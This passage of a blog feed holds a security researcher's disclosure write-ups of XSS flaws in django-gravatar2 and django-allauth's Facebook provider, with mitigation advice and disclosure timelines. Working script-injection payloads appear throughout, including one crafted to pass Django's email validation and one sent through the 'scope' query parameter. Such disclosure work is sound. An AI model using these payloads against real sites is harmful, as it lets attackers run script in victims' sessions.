class="na"&gt;src&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;What this does is:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;Uses a &lt;code class="docutils literal"&gt;"/&amp;gt;&lt;/code&gt; to close the &lt;code class="docutils literal"&gt;img&lt;/code&gt; tag.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Injects a script that shows an alert with the current domain.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Opens a new tag so the rest of the HTML is not shown as broken.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The payload injected into the template would look like this:&lt;/p&gt;
&lt;div class="code"&gt;&lt;pre class="code html"&gt;&lt;a id="rest_code_454eae7ebe76432a8599a36621e4beb8-1" name="rest_code_454eae7ebe76432a8599a36621e4beb8-1" href="https://stsewd.dev/posts/xss-in-djang-impersonate-and-django-gravatar2/#rest_code_454eae7ebe76432a8599a36621e4beb8-1"&gt;&lt;/a&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;img&lt;/span&gt; &lt;span class="na"&gt;class&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"gravatar"&lt;/span&gt; &lt;span class="na"&gt;src&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"https://www.gravatar.com/"&lt;/span&gt; &lt;span class="na"&gt;width&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"50"&lt;/span&gt; &lt;span class="na"&gt;height&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"50"&lt;/span&gt; &lt;span class="na"&gt;alt&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;""&lt;/span&gt;&lt;span class="p"&gt;/&amp;gt;&lt;/span&gt;
&lt;a id="rest_code_454eae7ebe76432a8599a36621e4beb8-2" name="rest_code_454eae7ebe76432a8599a36621e4beb8-2" href="https://stsewd.dev/posts/xss-in-djang-impersonate-and-django-gravatar2/#rest_code_454eae7ebe76432a8599a36621e4beb8-2"&gt;&lt;/a&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;script&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;&lt;span class="nx"&gt;alert&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;domain&lt;/span&gt;&lt;span class="p"&gt;)&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;script&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;a id="rest_code_454eae7ebe76432a8599a36621e4beb8-3" name="rest_code_454eae7ebe76432a8599a36621e4beb8-3" href="https://stsewd.dev/posts/xss-in-djang-impersonate-and-django-gravatar2/#rest_code_454eae7ebe76432a8599a36621e4beb8-3"&gt;&lt;/a&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;img&lt;/span&gt; &lt;span class="na"&gt;src&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;""&lt;/span&gt; &lt;span class="p"&gt;/&amp;gt;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;But that's very similar to the previous example,
so let's assume that the application uses the user's email as the alt text instead.&lt;/p&gt;
&lt;div class="code"&gt;&lt;pre class="code html"&gt;&lt;a id="rest_code_43a1e7cbdde04ae0bbbf325c51efcb09-1" name="rest_code_43a1e7cbdde04ae0bbbf325c51efcb09-1" href="https://stsewd.dev/posts/xss-in-djang-impersonate-and-django-gravatar2/#rest_code_43a1e7cbdde04ae0bbbf325c51efcb09-1"&gt;&lt;/a&gt;{% load gravatar from gravatar %}
&lt;a id="rest_code_43a1e7cbdde04ae0bbbf325c51efcb09-2" name="rest_code_43a1e7cbdde04ae0bbbf325c51efcb09-2" href="https://stsewd.dev/posts/xss-in-djang-impersonate-and-django-gravatar2/#rest_code_43a1e7cbdde04ae0bbbf325c51efcb09-2"&gt;&lt;/a&gt;
&lt;a id="rest_code_43a1e7cbdde04ae0bbbf325c51efcb09-3" name="rest_code_43a1e7cbdde04ae0bbbf325c51efcb09-3" href="https://stsewd.dev/posts/xss-in-djang-impersonate-and-django-gravatar2/#rest_code_43a1e7cbdde04ae0bbbf325c51efcb09-3"&gt;&lt;/a&gt;{% gravatar user 50 user.email %}
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;You may think that's the same as the previous example,
but now the payload needs to be a valid email.
And if you try to create an email with the previous payload, it won't work,
as the Django user model will validate the email format.&lt;/p&gt;
&lt;p&gt;Making the payload a valid email is not as simple as just adding &lt;code class="docutils literal"&gt;@example.com&lt;/code&gt; at the end,
as the part before the &lt;code class="docutils literal"&gt;@&lt;/code&gt; (local part) can't contain special characters like &lt;code class="docutils literal"&gt;&lt;span class="pre"&gt;"&amp;lt;&amp;gt;()&lt;/span&gt;&lt;/code&gt;,
which are part of the payload.&lt;/p&gt;
&lt;p&gt;Luckily, the &lt;a class="reference external" href="https://en.wikipedia.org/wiki/Email_address#Local-part"&gt;spec says that the local part can contain any ASCII characters if it's quoted&lt;/a&gt;,
and coincidentally, our payload has already quotes around it, so it's just a matter adding &lt;code class="docutils literal"&gt;@example.com&lt;/code&gt; at the end!
Or almost... Django's email validator does allow the local part to be quoted, but it doesn't allow spaces,
luckily HTML is very forgiving, so we can add almost anything instead of the spaces, and our payload will still work&lt;/p&gt;
&lt;div class="code"&gt;&lt;pre class="code html"&gt;&lt;a id="rest_code_d509d77cd9b248628c17e23b55a05f5c-1" name="rest_code_d509d77cd9b248628c17e23b55a05f5c-1" href="https://stsewd.dev/posts/xss-in-djang-impersonate-and-django-gravatar2/#rest_code_d509d77cd9b248628c17e23b55a05f5c-1"&gt;&lt;/a&gt;"/&amp;gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;script&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;&lt;span class="nx"&gt;alert&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;domain&lt;/span&gt;&lt;span class="p"&gt;)&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;script&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;img&lt;/span&gt;&lt;span class="err"&gt;/&lt;/span&gt;&lt;span class="na"&gt;src&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"@example.com&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;You could also leave the tag unclosed, but that will break the rest of the HTML in the template.&lt;/p&gt;
&lt;div class="code"&gt;&lt;pre class="code html"&gt;&lt;a id="rest_code_a48a231ca86d4e3cb46c6edebb1ffe9e-1" name="rest_code_a48a231ca86d4e3cb46c6edebb1ffe9e-1" href="https://stsewd.dev/posts/xss-in-djang-impersonate-and-django-gravatar2/#rest_code_a48a231ca86d4e3cb46c6edebb1ffe9e-1"&gt;&lt;/a&gt;"/&amp;gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;script&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;&lt;span class="nx"&gt;alert&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;domain&lt;/span&gt;&lt;span class="p"&gt;)&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;script&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;"@example.com
&lt;/pre&gt;&lt;/div&gt;
&lt;/section&gt;
&lt;section id="proof-of-concept-1"&gt;
&lt;h3&gt;Proof of concept&lt;/h3&gt;
&lt;p&gt;I created a &lt;a class="reference external" href="https://github.com/stsewd/poc-xss-django-gravatar2"&gt;proof of concept&lt;/a&gt; to demonstrate the vulnerability, so you can see it in action,
you just need to have Python and &lt;a class="reference external" href="https://docs.astral.sh/uv/getting-started/installation/"&gt;uv&lt;/a&gt; installed:&lt;/p&gt;
&lt;p&gt;It consists of a simple Django project with &lt;code class="docutils literal"&gt;&lt;span class="pre"&gt;django-gravatar2==1.4.4&lt;/span&gt;&lt;/code&gt; installed,
it shows the Gravatar of a user given its email.&lt;/p&gt;
&lt;div class="code"&gt;&lt;pre class="code bash"&gt;&lt;a id="rest_code_f89a2c73e6cc4ac693eda1b178d88c71-1" name="rest_code_f89a2c73e6cc4ac693eda1b178d88c71-1" href="https://stsewd.dev/posts/xss-in-djang-impersonate-and-django-gravatar2/#rest_code_f89a2c73e6cc4ac693eda1b178d88c71-1"&gt;&lt;/a&gt;$&lt;span class="w"&gt; &lt;/span&gt;git&lt;span class="w"&gt; &lt;/span&gt;clone&lt;span class="w"&gt; &lt;/span&gt;https://github.com/stsewd/poc-xss-django-gravatar2
&lt;a id="rest_code_f89a2c73e6cc4ac693eda1b178d88c71-2" name="rest_code_f89a2c73e6cc4ac693eda1b178d88c71-2" href="https://stsewd.dev/posts/xss-in-djang-impersonate-and-django-gravatar2/#rest_code_f89a2c73e6cc4ac693eda1b178d88c71-2"&gt;&lt;/a&gt;$&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;cd&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;poc-xss-django-gravatar2
&lt;a id="rest_code_f89a2c73e6cc4ac693eda1b178d88c71-3" name="rest_code_f89a2c73e6cc4ac693eda1b178d88c71-3" href="https://stsewd.dev/posts/xss-in-djang-impersonate-and-django-gravatar2/#rest_code_f89a2c73e6cc4ac693eda1b178d88c71-3"&gt;&lt;/a&gt;$&lt;span class="w"&gt; &lt;/span&gt;uv&lt;span class="w"&gt; &lt;/span&gt;run&lt;span class="w"&gt; &lt;/span&gt;manage.py&lt;span class="w"&gt; &lt;/span&gt;migrate
&lt;a id="rest_code_f89a2c73e6cc4ac693eda1b178d88c71-4" name="rest_code_f89a2c73e6cc4ac693eda1b178d88c71-4" href="https://stsewd.dev/posts/xss-in-djang-impersonate-and-django-gravatar2/#rest_code_f89a2c73e6cc4ac693eda1b178d88c71-4"&gt;&lt;/a&gt;$&lt;span class="w"&gt; &lt;/span&gt;uv&lt;span class="w"&gt; &lt;/span&gt;run&lt;span class="w"&gt; &lt;/span&gt;manage.py&lt;span class="w"&gt; &lt;/span&gt;runserver
&lt;/pre&gt;&lt;/div&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;Go to &lt;code class="docutils literal"&gt;&lt;span class="pre"&gt;http://127.0.0.1:8000/&lt;/span&gt;&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;In the form enter &lt;code class="docutils literal"&gt;&lt;span class="pre"&gt;"/&amp;gt;&amp;lt;script&amp;gt;alert(document.domain)&amp;lt;/script&amp;gt;&amp;lt;img&lt;/span&gt; src="&lt;/code&gt; as the name,
or &lt;code class="docutils literal"&gt;&lt;span class="pre"&gt;"/&amp;gt;&amp;lt;script&amp;gt;alert(document.domain)&amp;lt;/script&amp;gt;&amp;lt;img/src="@example.com&lt;/span&gt;&lt;/code&gt; as the email.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Click on the "Submit" button.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;A pop-up with the domain of the page should appear.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Showing an alert is just a simple example,
but an attacker can execute any JavaScript code in the context of the user's session.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="mitigation-1"&gt;
&lt;h3&gt;Mitigation&lt;/h3&gt;
&lt;p&gt;As the previous vulnerability,
you should never use &lt;code class="docutils literal"&gt;mark_safe&lt;/code&gt; with user-controlled content,
if you need to build HTML with user-controlled data outside of a template,
you can use the &lt;a class="reference external" href="https://docs.djangoproject.com/en/4.2/ref/utils/#django.utils.html.format_html"&gt;format_html&lt;/a&gt; function.&lt;/p&gt;
&lt;aside class="admonition note"&gt;
&lt;p class="admonition-title"&gt;Note&lt;/p&gt;
&lt;p&gt;The maintainer chose to &lt;a class="reference external" href="https://github.com/twaddington/django-gravatar/commit/b08820112f062b40521c6f07fb9657f4204f6cf1"&gt;escape the alt text only&lt;/a&gt;,
as he considered the size and CSS class should be validated by the developer.
If you are using the &lt;code class="docutils literal"&gt;gravatar&lt;/code&gt; template tag with user-controlled content
in the size or CSS class, you should escape it as show in the following example:&lt;/p&gt;
&lt;div class="code"&gt;&lt;pre class="code html"&gt;&lt;a id="rest_code_7196231689be4deba086ea0a9b0e1d04-1" name="rest_code_7196231689be4deba086ea0a9b0e1d04-1" href="https://stsewd.dev/posts/xss-in-djang-impersonate-and-django-gravatar2/#rest_code_7196231689be4deba086ea0a9b0e1d04-1"&gt;&lt;/a&gt;{% gravatar user size|escape "User profile" class|escape %}
&lt;/pre&gt;&lt;/div&gt;
&lt;/aside&gt;
&lt;/section&gt;
&lt;section id="timeline-1"&gt;
&lt;h3&gt;Timeline&lt;/h3&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;21/06/2024&lt;/strong&gt;: Found and reported the vulnerability to the maintainer.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;21/06/2024&lt;/strong&gt;: Maintainer replied and confirmed the vulnerability.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;29/08/2024&lt;/strong&gt;: Maintainer released version 1.4.5 with the fix.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/section&gt;
&lt;/section&gt;
&lt;section id="more-in-common-than-you-think"&gt;
&lt;h2&gt;More in common than you think&lt;/h2&gt;
&lt;p&gt;Apart from sharing the same vulnerability, there are other similarities between the two packages:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;Widely used packages.
At the time of writing, &lt;a class="reference external" href="https://pypistats.org/packages/django-impersonate"&gt;django-impersonate had 220K downloads in the last month&lt;/a&gt;,
and &lt;a class="reference external" href="https://pypistats.org/packages/django-gravatar2"&gt;django-gravatar2 had 32K downloads in the last month&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Mostly maintained by a single person.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Not actively maintained.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;While the functionality that both packages provide is very specific,
they may be considered complete and stable without the need for active development.
But as with any software, there is always room for improvement,
or updates to keep up with the latest versions of Python and Django.&lt;/p&gt;
&lt;p&gt;If you or your company use these packages,
please consider contributing to them in any way you can.
Another thing these packages have in common is that they are looking for maintainers,
so if you have the time and knowledge, consider helping them.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="acknowledgements"&gt;
&lt;h2&gt;Acknowledgements&lt;/h2&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;Thanks to &lt;a class="reference external" href="https://petersanchez.com/"&gt;Peter Sanchez&lt;/a&gt; (maintainer of django-impersonate),
and &lt;a class="reference external" href="https://github.com/twaddington"&gt;Tristan Waddington&lt;/a&gt; (maintainer of django-gravatar2)
for their quick responses and fixes.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;It's also great I have the support at Read the Docs to spend part of my work time on security audits on packages we use.
Even if the vulnerabilities don't affect our systems directly,
it's nice to have the chance to give back to the community.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/section&gt;</description><category>django</category><category>python</category><category>security</category><category>xss</category><guid>https://stsewd.dev/posts/xss-in-djang-impersonate-and-django-gravatar2/</guid><pubDate>Sat, 08 Feb 2025 05:00:00 GMT</pubDate></item><item><title>XSS in django-allauth 0.63.5</title><link>https://stsewd.dev/posts/xss-in-django-allauth-fb-provider/</link><dc:creator>Santos Gallegos</dc:creator><description>&lt;p&gt;This post details a Cross-Site Scripting (XSS) vulnerability I discovered in &lt;a class="reference external" href="https://allauth.org/"&gt;django-allauth&lt;/a&gt;, a popular Django package for authentication.
This vulnerability affected the Facebook provider only, and it was fixed in version &lt;a class="reference external" href="https://allauth.org/news/2024/07/django-allauth-0.63.6-released/"&gt;0.63.6&lt;/a&gt; on July 12, 2024.&lt;/p&gt;
&lt;section id="background"&gt;
&lt;h2&gt;Background&lt;/h2&gt;
&lt;p&gt;Before I found this vulnerability, I already reported another one to django-allauth,
a login CSRF vulnerability in its SAML provider, which was fixed in version &lt;a class="reference external" href="https://docs.allauth.org/en/latest/release-notes/recent.html#id34"&gt;0.63.3&lt;/a&gt;
(maybe I'll write a post about it if people are interested in more posts like this).&lt;/p&gt;
&lt;p&gt;At &lt;a class="reference external" href="https://about.readthedocs.com/"&gt;Read the Docs&lt;/a&gt;, we use django-allauth for user authentication.
I was in charge of integrating SAML into our authentication system, while working on that I noticed the CSRF vulnerability.
After reporting it and seeing how quick it was fixed, I decided to do a quick security audit of the project.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="the-vulnerability"&gt;
&lt;h2&gt;The vulnerability&lt;/h2&gt;
&lt;p&gt;After grepping the codebase for common vulnerable patterns, I found this line of code that caught my attention:&lt;/p&gt;
&lt;iframe frameborder="0" scrolling="no" style="width:100%; height:121px;" allow="clipboard-write" src="https://emgithub.com/iframe.html?target=https%3A%2F%2Fgithub.com%2Fpennersr%2Fdjango-allauth%2Fblob%2F1512ac4fe0353d7a8d795c5e8b89a07f3a9a31f5%2Fallauth%2Fsocialaccount%2Fproviders%2Ffacebook%2Fprovider.py%23L179-L180&amp;amp;style=default&amp;amp;type=code&amp;amp;showBorder=on&amp;amp;showLineNumbers=on&amp;amp;showFileMeta=on&amp;amp;showFullPath=on&amp;amp;showCopy=on"&gt;&lt;/iframe&gt;&lt;p&gt;django-allauth &lt;a class="reference external" href="https://docs.allauth.org/en/latest/socialaccount/providers/facebook.html"&gt;allows using Facebook as a provider for social authentication&lt;/a&gt;,
and allows using the regular form (&lt;code class="docutils literal"&gt;oauth2&lt;/code&gt; method) or the Facebook JavaScript SDK (&lt;code class="docutils literal"&gt;js_sdk&lt;/code&gt; method) to login.
When using the &lt;code class="docutils literal"&gt;js_sdk&lt;/code&gt; method, the &lt;code class="docutils literal"&gt;fb_data&lt;/code&gt; variable is passed to the template to be used in the frontend.&lt;/p&gt;
&lt;iframe frameborder="0" scrolling="no" style="width:100%; height:163px;" allow="clipboard-write" src="https://emgithub.com/iframe.html?target=https%3A%2F%2Fgithub.com%2Fpennersr%2Fdjango-allauth%2Fblob%2F1512ac4fe0353d7a8d795c5e8b89a07f3a9a31f5%2Fallauth%2Fsocialaccount%2Fproviders%2Ffacebook%2Ftemplates%2Ffacebook%2Ffbconnect.html&amp;amp;style=default&amp;amp;type=code&amp;amp;showBorder=on&amp;amp;showLineNumbers=on&amp;amp;showFileMeta=on&amp;amp;showFullPath=on&amp;amp;showCopy=on"&gt;&lt;/iframe&gt;&lt;p&gt;Which is then used in the &lt;a class="reference external" href="https://github.com/pennersr/django-allauth/blob/1512ac4fe0353d7a8d795c5e8b89a07f3a9a31f5/allauth/socialaccount/providers/facebook/static/facebook/js/fbconnect.js#L32"&gt;fbconnect.js&lt;/a&gt;
script to initialize the Facebook SDK.&lt;/p&gt;
&lt;p&gt;So, what's the problem here?
The &lt;code class="docutils literal"&gt;fb_data&lt;/code&gt; variable is &lt;a class="reference external" href="https://docs.djangoproject.com/en/4.2/ref/utils/#django.utils.safestring.mark_safe"&gt;marked as safe&lt;/a&gt;
(Django won't escape it when including it in a template)
after being transformed into a JSON string.
Since &lt;code class="docutils literal"&gt;json.dumps&lt;/code&gt; doesn't escape HTML characters,
it's possible to inject arbitrary HTML and JavaScript code into the template.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="exploitation"&gt;
&lt;h2&gt;Exploitation&lt;/h2&gt;
&lt;p&gt;Using &lt;code class="docutils literal"&gt;mark_safe&lt;/code&gt; by itself is not a vulnerability,
as long as the content is trusted and doesn't contain user input.
So the next step was to find a way to inject user-controlled content into the &lt;code class="docutils literal"&gt;fb_data&lt;/code&gt; variable.&lt;/p&gt;
&lt;p&gt;As shown below, most of the content in the &lt;code class="docutils literal"&gt;fb_data&lt;/code&gt; variable is static:&lt;/p&gt;
&lt;iframe frameborder="0" scrolling="no" style="width:100%; height:394px;" allow="clipboard-write" src="https://emgithub.com/iframe.html?target=https%3A%2F%2Fgithub.com%2Fpennersr%2Fdjango-allauth%2Fblob%2F1512ac4fe0353d7a8d795c5e8b89a07f3a9a31f5%2Fallauth%2Fsocialaccount%2Fproviders%2Ffacebook%2Fprovider.py%23L164-L178&amp;amp;style=default&amp;amp;type=code&amp;amp;showBorder=on&amp;amp;showLineNumbers=on&amp;amp;showFileMeta=on&amp;amp;showFullPath=on&amp;amp;showCopy=on"&gt;&lt;/iframe&gt;&lt;p&gt;Except for &lt;code class="docutils literal"&gt;loginOptions&lt;/code&gt;, which includes the value from the &lt;code class="docutils literal"&gt;scope&lt;/code&gt; query parameter:&lt;/p&gt;
&lt;iframe frameborder="0" scrolling="no" style="width:100%; height:205px;" allow="clipboard-write" src="https://emgithub.com/iframe.html?target=https%3A%2F%2Fgithub.com%2Fpennersr%2Fdjango-allauth%2Fblob%2F1512ac4fe0353d7a8d795c5e8b89a07f3a9a31f5%2Fallauth%2Fsocialaccount%2Fproviders%2Ffacebook%2Fprovider.py%23L139-L144&amp;amp;style=default&amp;amp;type=code&amp;amp;showBorder=on&amp;amp;showLineNumbers=on&amp;amp;showFileMeta=on&amp;amp;showFullPath=on&amp;amp;showCopy=on"&gt;&lt;/iframe&gt;&lt;iframe frameborder="0" scrolling="no" style="width:100%; height:268px;" allow="clipboard-write" src="https://emgithub.com/iframe.html?target=https%3A%2F%2Fgithub.com%2Fpennersr%2Fdjango-allauth%2Fblob%2Fc11e1429d90aa12373fb97705e18b1d8c602c417%2Fallauth%2Fsocialaccount%2Fproviders%2Foauth2%2Fprovider.py%23L83-L91&amp;amp;style=default&amp;amp;type=code&amp;amp;showBorder=on&amp;amp;showLineNumbers=on&amp;amp;showFileMeta=on&amp;amp;showFullPath=on&amp;amp;showCopy=on"&gt;&lt;/iframe&gt;&lt;p&gt;With that, we now can inject arbitrary HTML and JavaScript using the &lt;code class="docutils literal"&gt;scope&lt;/code&gt; query parameter.&lt;/p&gt;
&lt;p&gt;But wait... In which page can we control the &lt;code class="docutils literal"&gt;scope&lt;/code&gt; query parameter?
By following the code, I found that &lt;code class="docutils literal"&gt;media_js&lt;/code&gt; is used in the &lt;code class="docutils literal"&gt;providers_media_js&lt;/code&gt; template tag,
which is called in the &lt;a class="reference external" href="https://github.com/pennersr/django-allauth/blob/0.63.5/allauth/templates/socialaccount/snippets/login_extra.html"&gt;login_extra.html&lt;/a&gt; snippet,
and furthermore that snippet is included anywhere the social providers are listed,
like the login page (&lt;code class="docutils literal"&gt;/accounts/login/&lt;/code&gt;), and the social account connections page (&lt;code class="docutils literal"&gt;/accounts/3rdparty/&lt;/code&gt;).&lt;/p&gt;
&lt;/section&gt;
&lt;section id="payload"&gt;
&lt;h2&gt;Payload&lt;/h2&gt;
&lt;p&gt;To exploit this vulnerability, an attacker could inject the following content in the &lt;code class="docutils literal"&gt;scope&lt;/code&gt; query parameter:&lt;/p&gt;
&lt;div class="code"&gt;&lt;pre class="code html"&gt;&lt;a id="rest_code_6c44123dfede49efa956cc90a5a5d5e5-1" name="rest_code_6c44123dfede49efa956cc90a5a5d5e5-1" href="https://stsewd.dev/posts/xss-in-django-allauth-fb-provider/#rest_code_6c44123dfede49efa956cc90a5a5d5e5-1"&gt;&lt;/a&gt;&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;script&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;script&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;&lt;span class="nx"&gt;alert&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;domain&lt;/span&gt;&lt;span class="p"&gt;)&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;script&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;script&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;What this does is:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;Closes the &lt;code class="docutils literal"&gt;script&lt;/code&gt; tag containing the &lt;code class="docutils literal"&gt;fb_data&lt;/code&gt; variable.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Injects a script that shows an alert with the current domain.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Opens a new &lt;code class="docutils literal"&gt;script&lt;/code&gt; tag, so the rest of the JSON content is not shown as plain text.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/section&gt;
&lt;section id="proof-of-concept"&gt;
&lt;h2&gt;Proof of concept&lt;/h2&gt;
&lt;p&gt;I created a &lt;a class="reference external" href="https://github.com/stsewd/poc-xss-django-allauth"&gt;proof of concept&lt;/a&gt; to demonstrate the vulnerability, so you can see it in action,
you just need to have Python and &lt;a class="reference external" href="https://docs.astral.sh/uv/getting-started/installation/"&gt;uv&lt;/a&gt; installed:&lt;/p&gt;
&lt;p&gt;It consists of a simple Django project with &lt;code class="docutils literal"&gt;&lt;span class="pre"&gt;django-allauth==0.63.5&lt;/span&gt;&lt;/code&gt; installed, and a Facebook provider configured using the JavaScript SDK.&lt;/p&gt;
&lt;div class="code"&gt;&lt;pre class="code bash"&gt;&lt;a id="rest_code_532ec74f9c26484c926550bb40624f54-1" name="rest_code_532ec74f9c26484c926550bb40624f54-1" href="https://stsewd.dev/posts/xss-in-django-allauth-fb-provider/#rest_code_532ec74f9c26484c926550bb40624f54-1"&gt;&lt;/a&gt;$&lt;span class="w"&gt; &lt;/span&gt;git&lt;span class="w"&gt; &lt;/span&gt;clone&lt;span class="w"&gt; &lt;/span&gt;https://github.com/stsewd/poc-xss-django-allauth
&lt;a id="rest_code_532ec74f9c26484c926550bb40624f54-2" name="rest_code_532ec74f9c26484c926550bb40624f54-2" href="https://stsewd.dev/posts/xss-in-django-allauth-fb-provider/#rest_code_532ec74f9c26484c926550bb40624f54-2"&gt;&lt;/a&gt;$&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;cd&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;poc-xss-django-allauth
&lt;a id="rest_code_532ec74f9c26484c926550bb40624f54-3" name="rest_code_532ec74f9c26484c926550bb40624f54-3" href="https://stsewd.dev/posts/xss-in-django-allauth-fb-provider/#rest_code_532ec74f9c26484c926550bb40624f54-3"&gt;&lt;/a&gt;$&lt;span class="w"&gt; &lt;/span&gt;uv&lt;span class="w"&gt; &lt;/span&gt;run&lt;span class="w"&gt; &lt;/span&gt;manage.py&lt;span class="w"&gt; &lt;/span&gt;migrate
&lt;a id="rest_code_532ec74f9c26484c926550bb40624f54-4" name="rest_code_532ec74f9c26484c926550bb40624f54-4" href="https://stsewd.dev/posts/xss-in-django-allauth-fb-provider/#rest_code_532ec74f9c26484c926550bb40624f54-4"&gt;&lt;/a&gt;&lt;span class="c1"&gt;# Create a user to log into the application.&lt;/span&gt;
&lt;a id="rest_code_532ec74f9c26484c926550bb40624f54-5" name="rest_code_532ec74f9c26484c926550bb40624f54-5" href="https://stsewd.dev/posts/xss-in-django-allauth-fb-provider/#rest_code_532ec74f9c26484c926550bb40624f54-5"&gt;&lt;/a&gt;$&lt;span class="w"&gt; &lt;/span&gt;uv&lt;span class="w"&gt; &lt;/span&gt;run&lt;span class="w"&gt; &lt;/span&gt;manage.py&lt;span class="w"&gt; &lt;/span&gt;createsuperuser
&lt;a id="rest_code_532ec74f9c26484c926550bb40624f54-6" name="rest_code_532ec74f9c26484c926550bb40624f54-6" href="https://stsewd.dev/posts/xss-in-django-allauth-fb-provider/#rest_code_532ec74f9c26484c926550bb40624f54-6"&gt;&lt;/a&gt;$&lt;span class="w"&gt; &lt;/span&gt;uv&lt;span class="w"&gt; &lt;/span&gt;run&lt;span class="w"&gt; &lt;/span&gt;manage.py&lt;span class="w"&gt; &lt;/span&gt;runserver
&lt;/pre&gt;&lt;/div&gt;
&lt;dl class="simple"&gt;
&lt;dt&gt;XSS in login page:&lt;/dt&gt;
&lt;dd&gt;&lt;ul class="simple"&gt;
